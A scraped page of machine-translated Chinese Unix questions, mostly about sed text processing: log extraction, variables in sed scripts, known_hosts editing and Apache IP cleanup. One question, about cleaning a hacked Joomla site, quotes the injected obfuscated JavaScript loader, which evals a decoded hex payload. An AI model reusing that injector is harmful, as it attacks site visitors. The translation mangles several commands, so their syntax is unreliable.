我有一个文件的function名称和可变数目的用户名如下: 优点1 USER1 用户2 特点2 用户3 我想能够将用户名移动到function名称相同的行(沿vijoin命令行)。 function名称以大写字母开头,用户名以小写字母开头。 有没有办法做到这一点?
我在shell脚本中设置了一个variables,然后调用一个sed脚本,并在sed脚本中使用variables这似乎并不工作,我需要帮助如何实现 以下在命令行工作 sed -e“s / text / $ VAR”testing文件 以下不起作用 test.sh 导出VAR = somevar sed -f sedfiletesting文件 testfile的 这是一个testing文件 sedfile S /文本/ $ VAR / 也试过 S /文本/ $ {VAR} / 结果 这是一个$ VAR文件 预期产出 这是一个somevar文件
我每天都在处理日志文件。 我一直在使用sed来实现我的目标,即提取时间戳之间的某些数据行。 例如,我使用: sed '/20150720 15:06:00/,/20150720 16:25:00/! d' logfile.log > /tmp/logpart.log 但是,这只有在时间戳实际上匹配文件中的一行时才起作用。 我如何强制sed处理我想要的数据,而不必进入文件以获取实际的时间戳? 例如,在上面的例子中,我只想在15:00和16:30之间的所有内容,而不pipe文件中是否有匹配的时间戳。
我试图仅匹配2个string之间的第一个文本块:“menuentry”和“}”,如下所示: input文件: (some irrelevant text) menuentry 'My Customized Linux, with Linux 3.10.0-229.14.1.el7.x86_64' –class centos –class gnu-linux –class gnu –class os –unrestricted $menuentry_id_option 'gnulinux-3.10.0-229.14.1.el7.x86_64-advanced-/dev/mapper/sysvg-lv_root' { load_video set gfxpayload=keep insmod gzio insmod part_msdos insmod xfs set root='hd0,msdos1' if [ x$feature_platform_search_hint = xy ]; then search –no-floppy –fs-uuid –set=root –hint-bios=hd0,msdos1 –hint-efi=hd0,msdos1 –hint-baremetal=ahci0,msdos1 –hint='hd0,msdos1' 2e420275-8578-449d-9217-ce6d9ae35f70 else search –no-floppy –fs-uuid […]
我们之前托pipe的一个Joomla网站遭受了JavaScript注入,我正在进行清理。 以下代码被插入到每个.php或.js文件中: <? #0c0896# echo " <script type=\"text/javascript\" language=\"javascript\" > bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";ff=String.fromCharCode;w=window;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,61,58,67,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1333!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>"; #/0c0896# ?> “确切的语法,虽然实际的代码是更长的,我削减了很多hex,使之更容易” 我正在尝试使用GREP和SED来查找和replace所有文件,而且我不认为我的SED语法是正确的。 grep -rl "4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c" ./ | xargs sed -i 's/<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>//g 我在这里要做的是使用grep来search所有文件,find正在工作的代码片段,然后使用SEDreplace#0c0896#和其间的所有内容。
我有以下行来产生一个随机数: 头-c 3 / dev / urandom | hexdump | sed -e's / [0 az] // g'| 头-c 1 这工作正常,但有时(很less)它返回一个新的行。 有谁知道这可能是为什么?
我以编程方式构build框,但我需要更新PHP的.repo文件,它具有以下内容: # Repository: http://rpms.remirepo.net/ # Blog: http://blog.remirepo.net/ # Forum: http://forum.remirepo.net/ [remi] name=Remi's RPM repository for Enterprise Linux 6 – $basearch #baseurl=http://rpms.remirepo.net/enterprise/6/remi/$basearch/ mirrorlist=http://rpms.remirepo.net/enterprise/6/remi/mirror enabled=0 gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi [remi-php55] name=Remi's PHP 5.5 RPM repository for Enterprise Linux 6 – $basearch #baseurl=http://rpms.remirepo.net/enterprise/6/php55/$basearch/ mirrorlist=http://rpms.remirepo.net/enterprise/6/php55/mirror # NOTICE: common dependencies are in "remi-safe" enabled=0 gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi [remi-php56] name=Remi's PHP 5.6 RPM repository […]
我有大约30,000个Apache访问日志,其中一些列出了多个客户端IP地址。 这是由于Apachelogging了X-Forwarded-For头而不是客户端的IP地址。 之所以这样做,是因为我们最近在web服务器前加了haproxy。 outlook未来,我们将使用Apache的rpaf来logging只有一个IP地址,即到haproxy的连接,所以这不会是一个持续的问题。 这给我带来了实际的问题: 如何处理多个IP地址的现有日志,只提取我想要的日志。 我假设我需要sed或类似的,但我更像一个Windows的家伙,所以不是100%肯定。 规则是: 如果只有1个IP,那么该行不会被修改。 如果有2个或更多的IP,我只想保留倒数第二个IP。 它们是逗号分隔的。 实例1,1IP input:10.1.1.1 – – [29 / Jan / 2010:11:00:00] ….(其余的日志行) 输出:10.1.1.1 – – [29 / Jan / 2010:11:00:00] ….(其余的日志行) 示例2,2个IP input: 10.1.1.1,10.2.2.2 – – [29 / Jan / 2010:11:00:00] ….(其余的日志行) 输出: 10.1.1.1 – – [29 / Jan / 2010:11:00:00] ….(其余的日志行) 例3,3个IP input:10.1.1.1,10.2.2.2,10.3.3.3 – – […]
给定一个典型的known_hosts文件: [123.45.67.89]:22 ssh-rsa bbuivvhbkbjdnflksndkfnksnfk… [98.76.54.32]:14444 ssh-rsa hohdibsodbfoasbfbsabdfbsd… [77.34.122.33]:32209 ssh-rsa bksdjncknsdbcksbdcbhdhhb… 不知道文件中的行号,但知道IP地址。 以下删除文件中的所有行: sed '/98\.76\.54\.32/d known_hosts > known_hosts' 我希望我只是错过了一些荒唐简单的东西。 在这里testing我的正则expression式给了我需要的匹配,我的印象是: sed '/pattern/d' file > file 应该只放下/ pattern /匹配的第一行。 我知道我不是正则大师,也不是bash高手,但我认真地想,这不会是一个search,两个咖啡的战斗。 任何人都可以扔我骨头? 编辑:4分钟的答案,所有权利。 我知道这是荒谬的。 希望我的愚蠢在别人的search中出现。
正在使用 !/bin/bash for fl in *.txt; do mv $fl $fl.old sed 's/files.php?file=/file/g' $fl.old > $fl rm -f $fl.old done 我需要输出replace文件/不只是文件,无法弄清楚